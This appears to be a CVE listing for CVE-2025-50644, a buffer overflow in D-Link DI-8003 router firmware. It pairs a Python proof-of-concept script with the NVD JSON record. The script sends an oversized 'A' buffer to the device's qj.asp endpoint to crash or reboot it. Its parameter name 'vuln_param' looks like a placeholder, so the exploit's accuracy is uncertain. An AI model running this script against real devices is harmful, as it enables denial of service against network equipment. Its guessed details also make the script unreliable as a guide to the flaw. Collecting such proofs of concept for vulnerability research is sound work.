CVE-2025-50644

import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/qj.asp" # Malicious buffer to trigger overflow # Adjust size based on specific buffer limit payload = "A" * 1000 headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Sending payload try: response = requests.post(url, data={"vuln_param": payload}, headers=headers, timeout=5) print(f"Request sent to {url}, status code: {response.status_code}") print("Check if the device has crashed or rebooted.") except requests.exceptions.RequestException as e: print(f"Request failed (Device might be down): {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-50644", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:24:15.103", "lastModified": "2026-04-22T16:16:48.560", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to improper validation of user input in the qj.asp endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:di-8003_firmware:16.07.26a1:*:*:*:*:*:*:*", "matchCriteriaId": "FA25536C-1B96-4611-BF35-A0AD24747929"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:*", "matchCriteriaId": "E6644787-50D7-4190-A2E3-DD54F43AE38C"}]}]}], "references": [{"url": "https://github.com/xiaotea/iot-vulnerability-collection/blob/main/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10505", "source": "[email protected]"}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}